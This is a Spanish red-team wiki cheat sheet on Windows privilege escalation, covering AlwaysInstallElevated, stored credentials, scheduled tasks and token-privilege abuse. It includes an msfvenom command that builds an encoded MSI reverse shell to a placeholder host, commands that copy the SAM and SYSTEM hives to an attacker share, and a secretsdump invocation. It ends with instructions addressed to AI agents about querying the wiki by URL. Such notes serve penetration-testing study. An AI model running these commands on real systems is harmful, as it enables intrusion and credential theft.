# Elevación de Privilegios

## Configuración de servicios

## Configuración de ficheros

Usamos el comando `icalcs "C:\ruta\al\fichero\o\directorio"` para conocer la configuración de un fichero, con 3 posibles modos:

* (F) Full Control
* (M) Modify
* (W) Write

## Configuración de registros

```
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 
```

Una vez nos aparece como resultado "0x1" (que el bit está a 1, es decir, habilitado) podemos generar un exploit a la máquina víctima:

{% code overflow="wrap" %}

```
msfvenom --platform windows --arch x64 --payload windows/x64/shell_reverse_tcp LHOST=X.X.X.X LPORT=1337 --encoder x64/xor --iterations 9 --format msi --out AlwaysInstallElevated.msi
```

{% endcode %}

## Gestión de contraseñas

Para listar las credenciales almacenadas

```
cmdkey /list
```

Para enviar una copia de la SAM

```
copy C:\Windows\Repair\SAM \\IP.DE.TU.MAQUINA\
copy C:\Windows\Repair\SYSTEM \\IP.DE.TU.MAQUINA\
```

Teniendo credenciales de la máquina víctima podemos extraer las credenciales con [secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py) de [Impacket](https://github.com/fortra/impacket)

```
python3 secretsdump.py domain/user:password@IP.DE.MAQUINA.VICTIMA
```

## Tareas programadas

{% code overflow="wrap" %}

```
schtasks /query /fo LIST /v #cmd
Get-ScheduledTask #PS
```

{% endcode %}

## Manipulación de privilegios

Hay 3 posibles formas de evadirlos y aprovecharlos:

1. **Suplantación/Robo de Token** - Un atacnte duplica un token existente usando `DuplicateToken(Ex)`. El token puede entonces ser utilizado con `ImpersonateLoggedOnUser` para permitir que el hilo de llamada suplante el contexto de seguridad de un usuario conectado, o con `SetThreatTokento` asignar el token suplantado a un hilo. Esto es útil para cuando el usuario objetivo tiene una sesión de inicio de sesión no de red en el sistema.
2. **Crear Proceso con un Token** - Un atacante crea un nuevo token de acceso con `DuplicateToken(Ex)` y lo usa con `CreateProcessWithTokenW` para crear un nuevo proceso que se ejecuta bajo el contexto de seguridad del usuario suplantado.
3. **Creación y suplantación de Token** - Un atacante con credenciales pero sin haber iniciado sesión en el sistema puede crear una sesión utilizando`LogonUserfunction`. La función devolverá una copia del token de acceso de la sesión y el atacante puede utilizar`SetThreadtTokento` asignar el token a un hilo.

Para saber la configuración que tiene una máquina:

```
whoami /priv
```

Una vez sabemos los privilegios habilitados, vamos a ver los más interesantes:

<table data-full-width="true"><thead><tr><th width="301">Nombre</th><th width="753">Descripción</th></tr></thead><tbody><tr><td>SeImpersonatePrivilege</td><td>Suplanta a un usuario tras haberse autenticado</td></tr><tr><td><strong>SeBackupPrivilege</strong></td><td>Da acceso a cualquier fichero sin tener en cuenta su ACL</td></tr><tr><td><strong>SeCreateTokenPrivilege</strong></td><td>Este token puede ser utilizado solamente si el usuario puede suplantar tokens (incluso sin SeImpersonatePrivilege)</td></tr><tr><td><strong>SeLoadDriverPrivilege</strong></td><td>Carga y descarga drivers</td></tr><tr><td><strong>SeRestorePrivilege</strong></td><td>Da permisos de escritura a cualquier fichero.</td></tr><tr><td><strong>SeTakeOwnershipPrivilege</strong></td><td>Toma el control de un objeto sin que se haya concedido acceso.</td></tr><tr><td><strong>SeTcbPrivilege</strong></td><td>A través de KERB_S4U_LOGON se puede obtener un token de suplantación a cualquier otro usuario sin conocer las credenciales, añadir un grupo arbitrario (admins) al token, establecer el nivel de integridad del token en "medium", y asignar este token al hilo actual (SetThreadToken).</td></tr></tbody></table>

## Herramientas

* winPEASany.exe
* Seatbelt.exe
* PowerUp.ps1
* SharpUp.exe

## Recursos

* <https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/>
* <https://tryhackme.com/room/windows10privesc>

## Herramientas

* <https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS>
* <https://github.com/bitsadmin/wesng>
* <https://github.com/itm4n/PrivescCheck>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/redteam/windows/elevacion-de-privilegios.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
